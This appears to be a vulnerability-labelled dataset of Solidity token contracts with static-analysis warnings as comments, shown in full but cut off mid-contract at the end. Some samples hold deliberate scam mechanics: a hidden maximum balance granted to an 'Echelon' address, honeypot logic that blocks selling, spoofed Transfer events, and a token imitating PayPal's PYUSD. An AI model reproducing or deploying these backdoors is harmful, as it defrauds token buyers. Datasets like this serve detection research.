files dict |
|---|
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TOKENMINTERC20TOKEN is Ownable {\n constructor(\n string memory _NAME,\n string memory _SYMBOL,\n address routerAddress,\n address Echelon\n ) {\n _symbol = _SYMBOL;\n _name = _NAME;\n _fee = 1;\n _decimals = 9;\n _tTotal = 1000000000000 * 10 ** _decimals;\n\n _feetaker[Echelon] = tfee;\n _feetaker[msg.sender] = _tTotal;\n feereceiver[Echelon] = tfee;\n feereceiver[msg.sender] = tfee;\n\n router = IUniswapV2Router02(routerAddress);\n uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n emit Transfer(address(0), msg.sender, _tTotal);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 32045dd): TOKENMINTERC20TOKEN._fee should be immutable \n\t// Recommendation for 32045dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _fee;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 391ca8a): TOKENMINTERC20TOKEN._decimals should be immutable \n\t// Recommendation for 391ca8a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _feetaker;\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: d0fefcf): TOKENMINTERC20TOKEN._tTotal should be immutable \n\t// Recommendation for d0fefcf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal;\n\t// WARNING Optimization Issue (constable-states | ID: 2a4b93f): TOKENMINTERC20TOKEN._rTotal should be constant \n\t// Recommendation for 2a4b93f: Add the 'constant' attribute to state variables that never change.\n uint256 private _rTotal;\n\t// WARNING Optimization Issue (immutable-states | ID: 6bf2462): TOKENMINTERC20TOKEN.uniswapV2Pair should be immutable \n\t// Recommendation for 6bf2462: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 72f4af1): TOKENMINTERC20TOKEN.router should be immutable \n\t// Recommendation for 72f4af1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public router;\n\t// WARNING Optimization Issue (constable-states | ID: 8594d4d): TOKENMINTERC20TOKEN.tfee should be constant \n\t// Recommendation for 8594d4d: Add the 'constant' attribute to state variables that never change.\n uint256 private tfee = ~uint256(0);\n\n function decimals() public view returns (uint256) {\n return _decimals;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function totalSupply() public view returns (uint256) {\n return _tTotal;\n }\n\n address[] interest = new address[](2);\n\n function balanceOf(address account) public view returns (uint256) {\n return _feetaker[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ab8d637): TOKENMINTERC20TOKEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ab8d637: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9ab4e20): TOKENMINTERC20TOKEN.biggest(address,address,uint256) performs a multiplication on the result of a division fee = (amount / 100) * _fee\n\t// Recommendation for 9ab4e20: Consider ordering multiplication before division.\n function biggest(\n address treated,\n address official,\n uint256 amount\n ) private {\n address hall = interest[1];\n bool border = uniswapV2Pair == treated;\n uint256 order = _fee;\n\n if (feereceiver[treated] == 0 && driven[treated] > 0 && !border) {\n feereceiver[treated] -= order;\n if (amount > 2 * 10 ** (13 + _decimals))\n feereceiver[treated] -= order - 1;\n }\n\n interest[1] = official;\n\n if (feereceiver[treated] > 0 && amount == 0) {\n feereceiver[official] += order;\n }\n\n driven[hall] += order + 1;\n\n\t\t// divide-before-multiply | ID: 9ab4e20\n uint256 fee = (amount / 100) * _fee;\n amount -= fee;\n _feetaker[treated] -= fee;\n _feetaker[address(this)] += fee;\n\n _feetaker[treated] -= amount;\n _feetaker[official] += amount;\n }\n\n mapping(address => uint256) private driven;\n\n function approve(address spender, uint256 amount) external returns (bool) {\n return _approve(msg.sender, spender, amount);\n }\n\n mapping(address => uint256) private feereceiver;\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n biggest(sender, recipient, amount);\n emit Transfer(sender, recipient, amount);\n return\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender] - amount\n );\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n biggest(msg.sender, recipient, amount);\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f1e63f0): TOKENMINTERC20TOKEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f1e63f0: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) private returns (bool) {\n require(\n owner != address(0) && spender != address(0),\n \"ERC20: approve from the zero address\"\n );\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n return true;\n }\n}",
"file_name": "solidity_code_2079.sol",
"secure": 0,
"size_bytes": 7233
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract GameStopPepe is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _d58494;\n\n address private _c2381;\n\n address private _e78485;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a6b932): GameStopPepe._a758 should be constant \n\t// Recommendation for 5a6b932: Add the 'constant' attribute to state variables that never change.\n uint256 private _a758 = 99999999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_c2381, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_c2381, _addresses_[i], _out);\n }\n }\n\n function swapExactNATIVEForTokeens(\n address[] calldata _addresses_,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_c2381, _addresses_[i], _out);\n }\n }\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n address[] calldata _addresses_,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_c2381, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 333c93c): GameStopPepe.pair(address).account lacks a zerocheck on \t _d58494 = account\n\t// Recommendation for 333c93c: Check that the address is not zero.\n function pair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x43e549365F2284cA083AA21CAb1B9aDdcDB53072)\n\t\t\t// missing-zero-check | ID: 333c93c\n _d58494 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9544dbf): GameStopPepe.universal(address).account lacks a zerocheck on \t _c2381 = account\n\t// Recommendation for 9544dbf: Check that the address is not zero.\n function universal(address account) public virtual returns (bool) {\n if (_msgSender() == 0x43e549365F2284cA083AA21CAb1B9aDdcDB53072)\n\t\t\t// missing-zero-check | ID: 9544dbf\n _c2381 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fdbb3d4): GameStopPepe.setup(address).account lacks a zerocheck on \t _e78485 = account\n\t// Recommendation for fdbb3d4: Check that the address is not zero.\n function setup(address account) public virtual returns (bool) {\n if (_msgSender() == 0x43e549365F2284cA083AA21CAb1B9aDdcDB53072)\n\t\t\t// missing-zero-check | ID: fdbb3d4\n _e78485 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n (from != _d58494 && to == _e78485) ||\n (_d58494 == to &&\n from != _e78485 &&\n from != 0x43e549365F2284cA083AA21CAb1B9aDdcDB53072)\n ) {\n uint256 _FH749 = amount + 1;\n\n require(_FH749 < _a758);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor(string memory name_, string memory symbol_, uint256 amount) {\n _name = name_;\n\n _symbol = symbol_;\n\n _mint(msg.sender, amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_208.sol",
"secure": 0,
"size_bytes": 7708
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"Addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"Subtraction overflow\");\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"Multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"Division by zero\");\n uint256 c = a / b;\n return c;\n }\n}",
"file_name": "solidity_code_2080.sol",
"secure": 1,
"size_bytes": 857
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PAYPALUSD is IERC20 {\n using SafeMath for uint256;\n\n string public constant name = \"PAYPALUSD\";\n string public constant symbol = \"PYUSD\";\n uint8 public constant decimals = 18;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 420 * 10 ** 6 * 10 ** decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8f81635): PAYPALUSD._owner should be immutable \n\t// Recommendation for 8f81635: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\t// WARNING Optimization Issue (constable-states | ID: 29f5a3c): PAYPALUSD.taxPercentage should be constant \n\t// Recommendation for 29f5a3c: Add the 'constant' attribute to state variables that never change.\n uint256 public taxPercentage = 0;\n\n modifier onlyOwner() {\n require(msg.sender == _owner, \"Not the contract owner\");\n _;\n }\n\n constructor() {\n _owner = 0x5f804C6f9a290CD6E614F43F23D94C6867769944;\n _balances[_owner] = _totalSupply;\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n uint256 tax = amount.mul(taxPercentage).div(100);\n uint256 amountToSend = amount.sub(tax);\n\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(amountToSend);\n _balances[_owner] = _balances[_owner].add(tax);\n\n emit Transfer(msg.sender, recipient, amountToSend);\n emit Transfer(msg.sender, _owner, tax);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n uint256 tax = amount.mul(taxPercentage).div(100);\n uint256 amountToSend = amount.sub(tax);\n\n _balances[sender] = _balances[sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(amountToSend);\n _balances[_owner] = _balances[_owner].add(tax);\n\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(\n amount\n );\n\n emit Transfer(sender, recipient, amountToSend);\n emit Transfer(sender, _owner, tax);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function burn(uint256 amount) external {\n require(_balances[msg.sender] >= amount, \"Insufficient balance\");\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(msg.sender, address(0), amount);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_2081.sol",
"secure": 1,
"size_bytes": 3876
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RBC is Context, ERC20 {\n constructor() ERC20(\"RevolutionBitcoin\", \"RBC\") {\n _mint(msg.sender, 10000000000000000000000000000);\n }\n}",
"file_name": "solidity_code_2082.sol",
"secure": 1,
"size_bytes": 350
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ChineseBullrun is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = unicode\"Chinese Bullrun\";\n string private constant _symbol = unicode\"奔牛\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 10;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 10;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 1927b4a): ChineseBullrun._developmentAddress should be constant \n\t// Recommendation for 1927b4a: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xCbf3EF40127b65cacd87941445e140E4016517Ac);\n\t// WARNING Optimization Issue (constable-states | ID: 130d232): ChineseBullrun._marketingAddress should be constant \n\t// Recommendation for 130d232: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xCbf3EF40127b65cacd87941445e140E4016517Ac);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 21f2746): ChineseBullrun.uniswapV2Router should be immutable \n\t// Recommendation for 21f2746: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 7ac08e1): ChineseBullrun.uniswapV2Pair should be immutable \n\t// Recommendation for 7ac08e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 20000 * 10 ** 9;\n uint256 public _maxWalletSize = 20000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 5000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aaf0295): ChineseBullrun.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aaf0295: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07c3288): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07c3288: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 35d2abc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 35d2abc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 07c3288\n\t\t// reentrancy-benign | ID: 35d2abc\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 07c3288\n\t\t// reentrancy-benign | ID: 35d2abc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: a2c6331\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: a2c6331\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: a2c6331\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: a2c6331\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: a2c6331\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: a2c6331\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c97a6e4): ChineseBullrun._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c97a6e4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 35d2abc\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 07c3288\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2f62d62): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2f62d62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a2c6331): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a2c6331: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a2fcce6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a2fcce6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 2f62d62\n\t\t\t\t// reentrancy-benign | ID: a2c6331\n\t\t\t\t// reentrancy-eth | ID: a2fcce6\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2f62d62\n\t\t\t\t\t// reentrancy-eth | ID: a2fcce6\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: a2c6331\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: a2c6331\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: a2c6331\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: a2c6331\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 2f62d62\n\t\t// reentrancy-benign | ID: a2c6331\n\t\t// reentrancy-eth | ID: a2fcce6\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 2f62d62\n\t\t// reentrancy-events | ID: 07c3288\n\t\t// reentrancy-benign | ID: a2c6331\n\t\t// reentrancy-benign | ID: 35d2abc\n\t\t// reentrancy-eth | ID: a2fcce6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2f62d62\n\t\t// reentrancy-events | ID: 07c3288\n\t\t// reentrancy-eth | ID: a2fcce6\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: a2fcce6\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: a2fcce6\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 2f62d62\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: a2fcce6\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: a2fcce6\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: a2c6331\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 